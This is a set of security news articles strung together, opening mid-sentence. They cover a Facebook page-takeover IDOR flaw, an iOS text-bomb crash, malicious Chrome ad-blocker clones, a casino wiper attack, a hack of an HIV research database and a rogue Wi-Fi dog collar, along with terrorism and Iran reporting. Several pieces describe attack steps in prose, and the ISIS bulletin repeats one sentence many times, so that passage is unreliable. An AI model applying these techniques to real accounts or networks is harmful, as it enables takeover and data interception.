the Judge did not have to end up on Telstra white pages., “There is no information before me to suggest that individuals who apply for a phone line for the purposes of an alarm system are aware or made aware that this service falls within the definition of a ‘standard telephone service’ and their information will therefore be handled in the same way as a phone line for a functioning handset,” he wrote., Telstra in not new to privacy controversies. Earlier in March the Office of the Australian Information Commissioner (OAIC) and the Australian Communications and Media Authority (the ACMA) found Telstra guilty of breaking privacy Laws for failure to protect clients’ private data from misuse and unauthorized access. Thousands of Telstra client data was easily accessible on the internet including customers with silent numbers., Author: Ali Qamar, Founder/Chief Editor at SecurityGladiators.com, Author Bio:
Ali Qamar is an Internet security research enthusiast who enjoys “deep” research to dig out modern discoveries in the security industry. He is the founder and chief editor at SecurityGladiators.com, which is an ultimate source for worldwide security awareness having supreme mission of making the internet more safe, secure, aware and reliable. |
207_5249 | The situation in Iran is becoming really critic, time go by and every diplomatic solution is not realizable. We have western countries disturbed by an aggressive policy of the government in Tehran, defiant as ever, that risks trigger a dangerous situation in the Middle East undermining the unstable equilibrium of the whole area. Many time we have said that a military option has sense only if conduced in a short time, experts and scientists are convinced in fact that Iran in a couple of years will be able to build its own nuclear arsenal. In the meantime, despite the Western threats, Iran is still working on the debated nuclear program. According the revelations of an exiled Iranian opposition group Iran has some 60 scientists and engineers involved in a concerted and expanding program to develop nuclear weapons under the control of ministry of defense. Government of Teheran is rejecting any allegations about uranium enrichment program, arguing that the goals are not military but related to supplies of alternative energy. The US and Israeli intelligence officials are convinced that the program has the unique purpose to create new weapons for the Government, opinion also share with the National Council of Resistance of Iran (NCRI) that has provided to the Reuters agency a report that says:, “Information … shows that the clerical regime has expanded the organization responsible for nuclear weapons development,” “This finding reveals a complete and elaborate, and highly … secret research structure and a network for procurement of the required parts and equipment. “So far, the identities of 60 directors and experts working in various parts of the New Defense Research Organization and 11 institutions and companies affiliated with it have been detailed,”, A nuclearized Iran represents a threat to Israel’s existence, and a serious threat for all the western countries., If the US and Israel are postponing a conventional military option, different approach has been followed in the cyberspace, the new battle field. The Obama administration has concentrated great efforts in this area especially in the last couple of year, increasing awareness on cyber threats and the related risks for the Nation. Protection of critical infrastructures is the first target of the cyber strategy but despite the great effort, too many plants and networks are still vulnerable. Countries such as China and Russia, but also the same Iran, are de fact dangerous cyber threats that can infiltrate US networks and attacks American private companies., The alarm is high., , It is opinion of the security experts that Iran could represent a serious threat in the cyberspace, the domain where Teheran has major possibilities to deal with the American enemy. We must consider that Iranian Government is facing with international sanctions and internal dissents against central administration. The internal conflicts have created several problems to Iran that in the last year has invested a lot in web monitoring systems with the intent to control and to isolate the external infiltrations, avoiding that internal opposition could benefit of foreign collaboration and could be influenced by western cultures. The surveillance of web has became in short time a priority for Iran that could count on the cooperation of China, one of the nations to have greater experience in the field of media monitoring. We must also consider that the interest on cyberspace of Teheran has been driven by the need to protect their critical infrastructures from cyber threats developed by hostile countries. Stuxnet is considered one of the most aggressive and innovative cyber weapon that hit Iran and its nuclear program. Suddenly Iran has discovered itself vulnerable to this new type of attacks that requested an immediate commitment in cyberspace and investments in related technologies. The Iranian Government has invested more over $1 billion to improve national cyber capabilities, promoting the creation new cyber army composed by experts and young resources trained to the cyber war. The international community is convinced that Iran is one of most advanced country in cyber offense matter, it obvious to imagine that that potential could be directed against hostile countries. The cyber offense against Iran has triggered a massive engage of the country in cyber warfare, Teheran has officially declared war to the West. It’s clear that Iranian government has invested more in cyber offense capabilities than cyber defense. This imbalance is increased during the last year, evidence that Teheran is really interested to move cyber attacks against its enemies. Director of National Intelligence James R. Clapper, reporting to the Senate Select Committee on Intelligence in January, on Iranian cyber capabilities declared:, “have dramatically increased in recent years in depth and complexity.” More and more, they also appear to be directed against the United States., It’s clear that government such as Israel and US, but also European countries, are scared by Iran capabilities, so they have also started massive cyber operation against Iran to evaluate its defense system, but also with the objective to offend strategic sector of the countries, like Oil sector. In the last week several attacks have hit the Oil industry, and in the past months many countries have approved cyber sanction against Teheran, like the prohibition of sale to Iran anti-virus systems. But the most plausible situation is that Iran and Western alliance are working on a new generation on cyber weapons. This new type of weapons represents an excellent compromise in term of costs and efficiency, but what is most interesting in this phase is the possibilities to adopt them in covert operations., First of all they are reinforcing their infrastructures intensifying the monitoring of the web as described before with the help of historical partner. Also massaging platform have been impacted, Iran’s Minister of Communications and Technology has announced a ban on the use of foreign email services such as Gmail and Yahoo to “protect information security.” The processes implemented have moved every government web resource (e.g. critical servers and web sites) in hardened infrastructure under direct control of the regime. Second step is related to the adoption of security system, hardware and software, developed in home to avoid presence of backdoors. Next objective is the developing of a national internet aimed protecting the transfer of information and “cleansing” inappropriate content., Giving a look to these measures it’s clear that Iran is trying to reinforce those aspects in the defense that experts have evidenced as vulnerabilities of Iran cyber forces., At this point the question is:, Will Western military coalition attack the Iran or the battlefield will be just cyber space?, Personally I think it’s not probably an impending attack but I’m also convinced that a military option is the only viable in the absence of dialogue.
The opposition of Russia and China to a military operation is in fact blocking all operations of the Western coalition providing to the regime of Teheran precious time to organize its resources.
Another discriminant factor is the real intention of the United States and Israel to engage in a conflict far from simple. Iran may in fact hide dangers not less than those faced in wars such as Afghanistan. The Afghanistan war started in 2001, in an economic context profoundly different, in a today analysis it must be considered the global economic crisis that would prevent any government to face a potentially costly conflict and outcomes so uncertain.
It’s also true that the crisis could also accelerate a decision, Iran is one of the main oil produced and its natural resources could represent a good reason to justify a conflict although expensive., How close are we to the point of no return?, Only the time could provide us the answer to our question., Pierluigi Paganini |
3989_49257 | GLOBAL INTELLIGENCE INSIGHT, Global Intelligence Insight delivers reports on worldwide jihadist operations with a particular focus on the Middle East and North of Africa, partnering with SecurityAffairs.co and Security Media Publishing., All data are collected through both open and closed sources and thoroughly analyzed by experienced intelligence professionals, making use of rigorous methodologies in order to produce a trustworthy summary of the developments in the different theaters of operation, and also prospective assessments of what is most likely to happen next., Global Intelligence Insight is a Cyber Intelligence company that gathers information from protected channels (Deep & Dark Web) and social media websites, delivering detailed analysis and live feed insights in order to provide support to our clients’ decision making processes.
We make use of a bespoke toolset collection, resulting of a balanced combination of automated and eyes-on monitoring., Source Evaluation – Mostly Reliable (B)
Information/Intelligence Evaluation (1)
Handling Code (1), Authors – Vasco Da Cruz Amador
Paolo Cardoso, , As we have been predicting since May last year in our Intelligence Assessment Bulletins, ISIS successfully continues to widen its range of terror attacks in the Middle East.successfully continues to widen its range of terror attacks in the Middle East.successfully continues to widen its range of terror attacks in the Middle East.successfully continues to widen its range of terror attacks in the Middle East.successfully continues to widen its range of terror attacks in the Middle East.successfully continues to widen its range of terror attacks in the Middle East.successfully continues to widen its range of terror attacks in the Middle East.successfully continues to widen its range of terror attacks in the Middle East., The deadliest (292 dead) was in a shopping center in the Shiite neighborhood of Karrada, central Baghdad – one of the busiest and most crowded places of the city – with a VBIED, a truck loaded with explosives., The attack was executed in the peak of the shopping frenzy in preparation for Eid al-Fitr, which marks the end of Ramadan., ISIS claimed responsibility for the attack, identifying the attacker as “Abu Maha, the Iraqi”., In addition, another IED exploded in Al-Shaab, a Shiite neighborhood in northern Baghdad, killing 37., Also, in Saudi Arabia there were 3 suicide bombings: near the US Consulate in Jeddah, in a Shiite mosque in the Qatif Governorate, and near the Grand Mosque in the city of Medina., Even though they did not claim responsibility for the attacks, Saudi security sources confirmed that ISIS was the perpetrator. The suicide bomber near the prophet’s mosque in Medina was identified as Naer Hammad AlNajadi, a Saudi National (pictured below)., According to the Intelligence gathered through our WEBINT monitoring tool, mixed information was released by Pro-ISIS Telegram channels, where they were adamant in denying the responsibility for these attacks, but admitting later that the attack in Medina was executed by a “brother”., According to information gathered from our ground sources, media reports, and WEBINT monitoring tool, we believe the airport attack was indeed perpetrated by ISIS.
, A squad of five operatives was sent to Turkey one month ago, from Raqqah, Syria. The three terrorists who carried out the attack rented an apartment in Istanbul’s Fatih district. All of them presented Russian passports and signed a one-year lease., A man named Rıza Coskun, who has been in jail 6 months ago on the suspicion of being an ISIS affiliate, was the real estate agent who rented the apartment., The Turkish security forces managed to identify Coskun in a phone call between him and one of the three terrorists, just before the attack., The attackers were carrying explosive belts/vests, Kalashnikov assault rifles and hand grenades (two hand grenades did not explode and were found after the attack). On the evening of the attack, they took a taxi to the international terminal of the airport, and waited for half an hour outside, before each of them went in different directions to execute their plan., This attack had the same MO of Paris and Brussels, making use of advanced planning and intelligence gathering., 39 individuals were already detained, suspected of involvement in the attack. As for the three perpetrators, they were foreign operatives: an Uzbek, a Kyrgyz and a Russian from Dagestan., Among the detainees, there’s also a Chechen national named Ahmed Catayev, suspect of having planned this and the two previous attacks in Istanbul on Istiklal Street and in The Sultan Ahmet Square., Abu Kamal, Jun.29: The New Syrian Army,, , Sirte and Benghazi: The forces of the Government of National Accord continue to fight near the Sirte’s city center. They have reportedly completed the takeover of “Neighborhood 700”, and are surrounding the convention center used by ISIS as headquarters. At the same time, the forces of General Khalifa Haftar continue their operation to cleanse western Benghazi, which is held by ISIS and a jihadi organization affiliated with Al-Qaeda., , Jul.04: ISIS announced that operatives of the Abu Sayyaf organization from the Philippines (which previously belonged to AQ) pledged allegiance to the “Caliph” Al-Baghdadi and announced the establishment of a new province in the Philippines., Also, another Philippines-based Salafist-jihad organization named Al-Muhajer Battalion, pledged allegiance to ISIS’s leader. The organization is also called “The Foreigners” (Al-Ghurabaa), since most of its operatives are foreigners, mainly from Indonesia and Malaysia., , ,
To this day, we continue to intercept constant praises for the Orlando shooter Omar Mateen, along with the insisting threat of a new attack to be executed in Berlin, Germany., , Several Pro-ISIS channels were initially very adamant in denying responsibility for the attacks in Turkey and Saudi Arabia.
, , , , Screenshots of the Dallas Police Dept. United Cyber Caliphate & follow-up threads on Telegramhack, by the United Cyber Caliphate & follow-up threads on Telegramhack, by the United Cyber Caliphate & follow-up threads on Telegram., , Pro-ISIS channels were ecstatic with the Dallas shooting.,
“We are all Osama” – screenshot of the video released on Jul.09 featuring Osama Bin Laden’s son, Hamza Bin Laden, vowing revenge for the death of his father, , , One of the most intriguing aspects following the recent attacks in Turkey and Saudi Arabia is the absence of claim of responsibility. But the intelligence we have gathered leads us to conclude it was indeed ISIS the perpetrator.
, This reluctance may be connected with 3 factors:, #1 – not wanting to endanger their operatives and collaborators in both of these countries;, #2 – not wanting to give Turkey a pretext for severe acts of revenge – Turkey is still their main logistical center;, #3 – not wanting negative PR: attacking muslims during the month of Ramadan seriously affected the organization’s reputation, in a time where they are trying to bolster their ranks with new recruits.muslims during the month of Ramadan seriously affected the organization’s reputation, in a time where they are trying to bolster their ranks with new recruits., Heavy fighting will continue in Manbij, Syria, with constant territorial gains and losses on both sides. ISIS’s defense lines are extremely well entrenched here., In Iraq, the effort to establish a base-point to launch the offensive to retake Mosul continues., On Jul.08 the Iraqi military received a new batch of Mi-28NE “Night Hunters” from Russia. We can foresee that the planning of a full assault is well under way., Still, the recent bombings in Karrada and Al-Shaab pass the clear message that despite the fall of Fallujah, ISIS’s planning and operational capabilities are still intact, Author Bio:, Philip Ingram MBE – A journalist and entrepreneur who has built on a long and senior military career as an intelligence officer and planner. He´s a business planner, mentor and author of business planning articles for the IoD and security related articles for SecurityNewsDesk.com and SecurityMiddleEast.com and for the Middle East Security Expo INTERSEC. , Vasco Da Cruz Amador – Well experienced in counter surveillance and counter-intelligence with a vast experience at the field. Managed risk management Projects worldwide with a special emphasis in Africa and Middle East mostly in hostile environments. Former Team Leader of a Covert Unit. Played an active role as Intel Analyst for 2008 Angolan elections, as well as TL for 2010 World Soccer Cup in South Africa, mostly developed in Cape Town.Intel Analyst for 2008 Angolan elections, as well as TL for 2010 World Soccer Cup in South Africa, mostly developed in Cape Town., Paolo Cardoso, MA – With over 10 years of experience in Public Diplomacy and Business Intelligence, and having developed several strategic investment projects in the fields of Security, Defense and Energy in Kosovo, Bulgaria, Poland, Ukraine, Armenia, Georgia and Russian Federation, today he is the President and Co-founder of the Portuguese Euro-Atlantic Diplomacy Agency, and an Intelligence Analyst at Global Intelligence Insight., Pierluigi Paganini, (Security Affairs –Terrorism, intelligence) |
6338_69134 | A new ‘text bomb’ threatens Apple devices, just a single character of the Indian alphabet (precisely the
Telugu language, a Dravidian language spoken in India by about 70 million people) can crash your device and block access to the Messaging app in iOS, including WhatsApp, Facebook Messenger, Outlook for iOS, Gmail, Safari and Messages for the macOS versions., The issue seems not affect the beta versions of iOS 11.3 and Telegram and Skype applications., First spotted by Italian Blog Mobile World, the text bomb affects a wide range of Apple devices, including iPads, Macs and even Watch OS devices running the latest versions of OS., , The news of the bug was first reported on the Italian Blog Mobile World, the issue can be it can be easily exploited by anyone just by sending a message containing the Telugu character to the recipient., Once the recipient receives the message or typed the Telugu symbol into the text editor, its Apple device will crash., To fix the issue on the device that is crashing after received the text bomb is possible to send a message to the app that is crashing., According to the bug report published on OpenRadar:, “When iOS, MacOS, watchOS try to render Indian symbol ‘‘ all of it has crashed Steps to Reproduce: Try to insert ‘‘ this symbol in any system text renderer like TextField, Label, TextView it always has crashed.”, “The issue was reported to Apple a few days ago, the tech giant will likely fix the issue in the iOS update before the release of iOS 11.3 that is planned for the next spring.”, Pierluigi Paganini, (Security Affairs – text bomb, Telugu language), , |
6588_71556 | The security researcher Andrey Meshkov, co-founder of Adguard, has discovered five malicious Ad Blockers extensions in the Google Chrome Store that had been installed by at least by 20 million users., The fake Ad blockers are, The five extensions are clone versions of well-known Ad Blockers, searching for Ad Blockers in Google Chrome Store we can notice that crooks used popular keywords in the extension description in the attempt to display them in the top search results., “t’s been a while since different “authors” started spamming Chrome WebStore with lazy clones of popular ad blockers (with a few lines of their code on top of them).” wrote Meshkov., “Just look at the search results. All the extensions I’ve highlighted are simple rip-offs with a few lines of code and some analytics code added by the “authors”. Instead of using tricky names they now spam keywords in the extension description trying to make to the top search results.”, , The analysis of the code of the Ad Blockers revealed that the developers just added a few lines of code and some analytics code to the code of the legitimate extension., Meshkov reported his discovery to Google that immediately removed all from the Chrome Store., The jQuery library includes a script that is able to send information about some websites visited by the users back to a remote server., “This hidden script was listening to every request made by your browser and compared md5(url + “%Ujy%BNY0O”) with the list of signatures loaded from coupons.txt. When the said signature was hit, it loaded an iframe from the g.qyz.sx domain passing information about the visited page, and then re-initialized the extension.” continues the expert., The expert noticed that the default image/script does nothing malicious, but it can be changed at any time to perform malicious activity. It is executed in the privileged context (extension’s background page), in this way it has full control of the browser., The remote server sends commands to the malicious extension, which are executed in the extension ‘background page’ and can change your browser’s behavior in any way., “Basically, this is a botnet composed of browsers infected with the fake Adblock extensions,” Meshkov added. “The browser will do whatever the command center server owner orders it to do.”, Meshkov has scanned other extensions on the Chrome WebStore and found four more extensions developed with a very same approach., Be careful of what you install, install only necessary extensions from trusted developers and company., Pierluigi Paganini, (Security Affairs – Ad Blockers, malware), , |
4259_51356 | The Indian security researcher Arun Sureshkumar reported a critical vulnerability in the Facebook business manager that could be exploited by attackers to hack any Facebook page., The Business Manager is the component that allows businesses to share and control access to assets on Facebook, including Pages and Ad accounts., Facebook Business Manager also allows administrators to share access to Pages and ad accounts without being friends with coworkers on Facebook., Before analyze the technique devised by the researcher let me introduce you the concept of Insecure Direct Object Reference., According to the definition provided by the OWASP project, the Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability, an attacker can bypass authorization and access resources in the system directly., “Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.” reads the OWASP., Sureshkumar exploited an IDOR vulnerability in the Facebook Business Manager that allowed him to take over any Facebook page in less than 10 seconds., Sureshkumar used his Facebook business account (ID =907970555981524) to add a partner. He used as a partner a test account with ID 991079870975788., The hacker used Burp Suite to capture the request using Burp Suite, the tool allowed him to modify the request., Below the request published by the hacker in a blog post:, What about hacking Facebook? How?, He changed the ‘asset id’ value with the one of the target page to hack, and also interchanged the ‘parent_business_id’ value with ‘agency_id’. He also changed the role value to ‘MANAGER’., , With this simple trick, Sureshkumar demonstrated that hacking Facebook Pages was possible. He obtained admin rights on the business page., Sureshkumar also published a video PoC of the attack., , The security expert reported the flaw to Facebook on August 29, 2016. Facebook investigated the problem and discovered also another flaw in its platform., The giant of the social networks awarded Sureshkumar with 16,000 USD as part of its bug bounty program., Pierluigi Paganini, (Security Affairs – Hacking Facebook, Social Network) |
6181_67649 | Security expert discovered a new vulnerability in macOS High Sierra that could be exploited by users logged as admins to unlock the AppStore Preferences in System Preferences by providing any password., A lot of FUD in this article @appleinsider. It's not as serious as you make it out to be. This needs admin access to the machine already and only affects the AppStore prefs. All other system prefs do not unlock this way. Likely an oversight in the security changes in 10.13.x, — Eric Holtam (@eholtam) January 10, 2018, , The vulnerability was reported by Eric Holtam and affects the latest version macOS 10.13.2. The issue doesn’t affect non-admin accounts that must provide correct credentials to unlock the AppStore Preferences., The steps to reproduce the issue and grants access to change the AppStore preferences are:, , Holtam highlighted that the issue doesn’t affect other system preferences panel (i.e. system preferences)., The flaw has a limited impact because it can only be triggered by admins, anyway, anyone with a physical access to a machine that was left unattended by a user logged as admins can exploit the vulnerability., Apple already issued a security patch in the latest beta version of macOS High Sierra (10.13.3) and the problem will be addressed in a future update for stable versions., In November, an authentication bypass issue was publicly disclosed via Twitter by the developer Lemi Orhan Ergan. The flaw in macOS High Sierra allowed gaining root access to a machine with no password., Pierluigi Paganini, (Security Affairs – macOS High Sierra, hacking) |
3849_48136 | Security experts from Check Point early this week reported a serious vulnerability in the Facebook Messanger App that could be exploited by attackers to replace the content of the messages they send via the mobile app. The impact of such flaw could be very severe, crook could exploit it to replace legitimate messages with content including malicious links., “Check Point disclosed details about a vulnerability found in Facebook Messenger, both in the online and mobile applications.” reported Check Point in a blog post. “The vulnerability allows a malicious user to change conversation thread in the Facebook Online Chat & Messenger App. By abusing this vulnerability, it is possible to modify or remove any sent message, photo, file, link, and much more.”, As explained by the researchers, the Facebook Messenger App assigns a random ID to each message, the problem is that if an attacker obtains this ID via a request to facebook.com/ajax/mercury/thread_info.php, and then send another message with the same ID to the targeted user it will replace the original message., , Experts from Facebook who investigated the issue clarified that the security vulnerability only affects Messenger for Android. In particular, Facebook explained that for devices running iOS, only the first message is displayed even if attackers send further messages with the same ID., “On most clients — including iOS — when duplicate messages are detected, the first message takes precedence and is displayed on both the sender’s and receiver’s device. However, a misconfiguration with the Messenger app on Android resulted in the last message being displayed instead. As a result, a sender could write a message and then appear to change its content retroactively.” states Facebook. “We received multiple reports about this bug through our Bug Bounty program — including one from Check Point, a security company — and we ran a thorough investigation.”Facebook tried to downplay the problem explaining that the vulnerability can be exploited by an attacker only to replace the content of their own messages and not someone else’s messages., “Would you have the ability to change the content of anyone else’s messages or just your own? Content could have only been adjusted by the person who sent the message. The bug did not provide the ability to change someone else’s messages.” states Facebook., The company also highlighted that its antimalware and anti-spam filters could be enough to stop the threat., “This bug affected the Android Messenger interface, but the message content was still correctly reflected on other platforms. We also confirmed that the content self-corrected on Android when the application refetched message data from the server, so it wasn’t permanently changed,” Facebook said., Due to the above motivation, Facebook fixed the issue, but classified is as a “simple misconfiguration” ranked with a “low risk.”, Below the video PoC published by Check Point., , Pierluigi Paganini, (Security Affairs – Facebook Messenger App, hacking) |
1721_31039 | On February 2014 the Casino operator Las Vegas Sands Corp suffered a major cyber attack, but only now the news was publicly disclosed by the Bloomberg Businessweek., The attack has many similarities with the recent data breach occurred to the Sony Pictures and has caused serious damages to the company. Also in the case of the Casino operator Las Vegas Sands Corp, the attackers have compromised the company network, destroying thousands of servers and computers by wiping its hard disks with an aggressive malware., Security experts believe that the hackers have operated a retaliation in response to the statement released by the chief executive officer of Las Vegas Sands Corp., Sheldon Adelson., Sheldon Adelson is guilty to have made a statement against the Iranian Government in October 2013, the billionaire was at the Manhattan campus of Yeshiva University when he declared that a strike against the Iran was the unique way to definitively stop its nuclear program., “What I would do,” Sheldon Adelson declared “would be to say, ‘Do you see that desert over there? I want to show you something.’ You pick up your cell phone and you call somewhere in Nebraska and you say ‘Ok let it go.’…Then you say, ‘See? The next one is in the middle of Tehran.”, The statement released by Adelson was transposed by Iranian Supreme Leader Ayatollah Ali Khameeni, who replied to the US Government with the following statement:, In December of the same year, the hackers hit the network of the Las Vegas Sands and the offensive continued also in January, when the attackers gained access to the company’s virtual private network gateway at its slots casino in Bethlehem, Pennsylvania., “they found it: the login credentials of a senior computer systems engineer who normally worked at company headquarters but whose password had been used in Bethlehem during a recent trip. Those credentials got the hackers into the gaming company’s servers in Las Vegas. As they rifled through the master network, the attackers readied a malware bomb.” reported the post published by Bloomberg., In February, the hackers compromised the Microsoft IIS development and staging server behind the website of the casino and used an open tool, dubbed mimikatz, to exfiltrate users’ credentials. The hackers discovered the credentials of a senior systems engineer who had visited the Bethlehem site from Las Vegas, then the attackers used them to compromise the corporate infrastructure and wipe out data on internal machines., , The wiper malware used by the attackers was written in Visual Basic and it was able to completely erased data from the hard drives of the company., “Typing from a Sony (SNE)VAIO computer, they compiled a small piece of code, only about 150 lines long, in the Visual Basic programming language. The program proved potent. Not only does it wipe the data stored on computers and servers, but it also automatically reboots them, a clever trick that exposes data that’s untouchable while a machine is still running. Even worse, the script writes over the erased hard drives with a random pattern of ones and zeros, making data so difficult to recover that it is more cost-effective to buy new machines and toss the hacked ones in the trash.” continues the post., The hackers compromised the network and leaked the data online, including personal information, stolen email addresses and social security numbers of employees at Sands Bethlehem site., The attackers also posted a message for the CEO of the Las Vegas Sands Corp:, “Encouraging the use of Weapons of Mass Destruction, UNDER ANY CONDITION, is a Crime, signed, the Anti WMD Team,” said one. “Damn A, Don’t let your tongue cut your throat,” warned another., The experts of Dell SecureWorks that were hired by the Las Vegas Sands Corp to sanitize the company systems declined to comment the incident, anyway security experts exclude the direct involvement of the Iranian Government and attributed the attack to a group of hacktivists., Pierluigi Paganini, (Security Affairs – Iranian Hackers, Sands Corp Casino) |
2656_39402 | The ICS-CERT has published six advisories to warn organizations about the presence of Zero-Day Flaws in SCADA Systems. Aditya K. Sood, security researcher at Elastica, has revealed in a talk at the Def Con 2015 conference several vulnerabilities affecting human machine interfaces (HMI) of SCADA systems., Sood has discovered remote and local file inclusion vulnerabilities, insecure authentication mechanisms, hardcoded credentials, weak crypto, weak password hashing, cross-site request forgery (CSRF) and other kind of flaws affecting HMIs modules. The flawed HMI modules are developed by several companies, including Moxa, Prisma, KACO,Rockwell Automation, Schneider Electric, and Siemens., , The ICS-CERT has issued two distinct advisories for flaws affecting the web interfaces of Rockwell Automation 1766-L32BWAA and 1766-L32BXBA and 1769-L18ER/A and LOGIX5318ER programmable logic controllers (PLC), the first one affected by a remotely exploitable remote file inclusion flaw and the second one by a remotely exploitable cross-site scripting (XSS) flaw., The ICS-CERT has published a security advisory for KACO HMI products which includes hardcoded passwords., Sood discovered that passwords used for accessing web products produced by Prisma are not properly protected and a CSRF vulnerability allows a remote, unauthenticated attacker to update the configuration of the vulnerable devices., Sood reported that also Schneider Electric Modicon M340 PLC Station P34 CPU modules are affected by hardcoded credentials and local/remote file inclusion vulnerabilities., The vulnerabilities can be exploited for remote code execution, directory traversal, and denial-of-service (DoS)., The Moxa ioLogik E2210 Ethernet Micro RTU controller is affected by three vulnerabilities that could be exploited to gain unauthorized access to the HMI module., Sood’s slides will not be published until the companies that produce the flawed products, will release the necessary security updates., The ICS‑CERT has promptly issued alerts for the vulnerabilities, the affected products are widely used in a number of industries and an attack on these systems could cause serious damages., The ICS-CERT also published a series of recommendations to minimize the window of exposure for SCADA systems, for example, it recommended the use of VPN to secure remote connection to the control systems., Pierluigi Paganini, (Security Affairs – SCADA HMI vulnerabilities, ICS‑CERT) |
7170_76210 | According to Dutch-based NRC newspaper and Swiss daily Tages-Anzeiger, Dutch intelligence services arrested two alleged Russian spies working for Russia’s GRU military intelligence service on suspicion of planning to hack the Spiez laboratory near Bern., The laboratory conducts investigations for a global chemical arms watchdog, the Organisation for the Prohibition of Chemical Weapons (OPCW), its researchers were investigating the poisoning of agent Sergei Skripal and his daughter in Salisbury., The two agents carried equipment to hack into the network of the laboratory to spy on the activity of its researchers., Russian Foreign Minister Sergei Lavrov expressed his disappointment for the arrest of the two men earlier this year., “The two were detained “early this year” by Dutch military intelligence (MIVD) working together with several other countries, and then expelled from the Netherlands, the newspapers reported.” states the AFP press., The decision to expel the two spies was taken by the cabinet of the Dutch Prime Minister Mark Rutte on March 26., “The duo, according to sources within the investigation, carried equipment which they wanted to use to break into the computer network” of the Spiez laboratory., The researchers at the Spiez Lab were analyzing data related to poison gas attacks in Syria, as well as the attack on the double agent Sergei Skripal that involved the nerve agent Novichok on Russian double agent Sergei Skripal and his daughter., “The case of the Russian spies discovered in The Hague and then expelled from The Hague is known to Swiss authorities,” Isabelle Graber, spokeswoman for the Swiss intelligence services (SRC), told AFP., “The SRC actively participated in this operation in collaboration with its Dutch and British partners in prevention of illegal actions against critical Swiss infrastructure.“, Spiez laboratory representatives confirmed to have observed hacking attempts in the last months and to have taken precautions to repeal them., , Andreas Bucher, a spokesman for the Spiez lab, told AFP that in June attackers took documents from the lab’s website and “distributed a very malicious malware virus” to affiliated agencies., It is interesting to note that the same piece of malware was used in the attacks on the Pyeongchang Winter Olympics in South Korea., According to The Washington Post, the incidents were caused by cyber attacks powered by hackers working at Russia’s GRU military intelligence agency that managed to take control in early February of 300 computers linked to the Olympic organization., The cyber attacks were a retaliation against the International Olympic Committee for banning the Russian team from the Winter Games due to doping cases of Russian athletes., In April Russia’s SVR foreign intelligence service information chief Sergei Ivanov accused the OPCW of “manipulating” the results of the Skripal case., According to information obtained by Ivanov, the OPCW was omitting findings from the Spiez laboratory, he explained that the samples sent by the OPCW contained a nerve agent called “BZ” which was manufactured by the West., Pierluigi Paganini, (Security Affairs – Skripal case, GRU) |
4767_55535 | The hacker @Sc0rp10nGh0s7 from the Shad0w Security crew has broken in the server of the National Aids Research Institute NARI (India). The hacker accessed a more than 1 GB archive containing the results for dozens Hiv test., The hacker just released a small portion of the compromised archive as proof of the data breach. They explained to me that they want to avoid problems with the patients, but this hack aims to demonstrate that the security staff at the Institute is not able to protect so sensitive information., “this time we won’t leak everything, since our purpose is to hurt the gov not the people. The database file I have is more than 1Gb” told @Sc0rp10nGh0s7., When I asked more technical details about the attack, the hacker told me that they prefer to keep secret the flaws., I decided to avoid publishing the link to the data due to nature of the victim., , He also told me that the National Aids Research Institute NARI (India) has a good level of security despite the hack. The hacker breached an internal server of the organization and noticed the admin likes to put username & password in a text file., “the way we choose the targets is random that helps us to not be expected, we will be in a place they least expect us to be” added the hacker., The overall internal network was breached by the hackers., In November 2016, the hacker Shad0wS3C hacked the Institute of the Registral Function of the State Mexico (FREM) and leaked the database online., In August 2016, the group hacked the Paraguay’s Secretary of National Emergency (SNE) website and leaked online a dump from a PostgreSQL database., Pierluigi Paganini, (Security Affairs – Gh0s7, National Aids Research Institute NARI) |
2534_38593 | A joint operation run by the FBI and other law enforcement agencies in Europe and Brazil have allowed the identification and the arrest of more than 60 people suspected of carrying out hacking crimes. According to the media, all the suspects are associated with the online criminal forum Darkode., Darkode was a black market specialized in the sale of exploit kits and hacking tool, its seller also offered a spam services and services for malware customization., , The FBI along with Europol and the Brazil’s Federal Police were monitoring the cybercriminal forum since March, the operation has resulted in 62 arrests in 18 countries worldwide, Colombia, Germany, India and UK., According to the Globo.com, the Federal Police arrested two cyber criminals on Tuesday (July 14), in Goiania, they are suspected of participating in online fraudulent activities including money theft from banking account by using banking trojans. According to PF (Federal Police), among those arrested there is a man who actively participated since 2013 in the Darkode forum., “The operation resulted in the arrests, which takes the same forum name, was initiated by the Cyber Division of the Federal Bureau of Investigation (FBI) in 2012. According to the PF in total were identified 62 hackers from Brazil and other 18 countries. “reported the Globo., The Brazilian Police confirmed that at the time I was writing there is no estimation of the losses caused by the criminal crew. , “The goal of the search is also identify bank, payments, fraudulent slips so that we can measure this damage more accurately,” said the executive regional delegate PF Goiás, Umberto Ramos Rodrigues., Edited by Pierluigi Paganini, (Security Affairs – Darcode crime forum, hacking) |
5594_62063 | During Defcon 25 one of the biggest information security event that took place in Las Vegas on July 27-30 this year, a new eavesdropping attack technique was introduced., At the BioHacking Village’s Pisa Room, the Brazilian information security researcher and senior security consultant at CIPHER, Rafael Fontes Souza presented a proof-of-concept demonstrating a new exploitation technique that can be used to hack user credentials and to intercept sensitive data., The ‘Dog in the Middle’ technique, aka DitM, used man’s best friend as an attack tool. Rafael adapted a chest collar to carry a mobile phone and wireless network adapter., , The most noticeable feature of this technique is that the attack vectors are triggered automatically without any human interaction and include near field attacks such as fake access point, cellular base stations or local user attacks on a network., A comprehensive set of exploitations can be implemented using DitM, like DNS hijacking, packet injection, evil twin, rogue router or ISP, among others., How that’s done?, The targeted device will connect to a rogue wi-fi access point generated by the dog collar and clever DHCP configurations can push rules to allow IP allocation by the fake AP and traffic forwarding to fake and/or malicious websites., “Information and user data can be easily stored and malicious files can also be injected remotely to control the compromised device”, explain Rafael., , , The video demonstrating how the chest collar was assembled can be seen at Vimeo through the following link , and Rafael’s presentation can also be accessed through Slideshare here This technique is as very good example of how rather conventional technology can be used to social engineering to compromise users. Who’d think man’s best friend could be used as an attack tool?, Article by Pedro Silveira (Marketing Director at Cipher), Edited by Pierluigi Paganini, (Security Affairs – DiTM, hacking) |
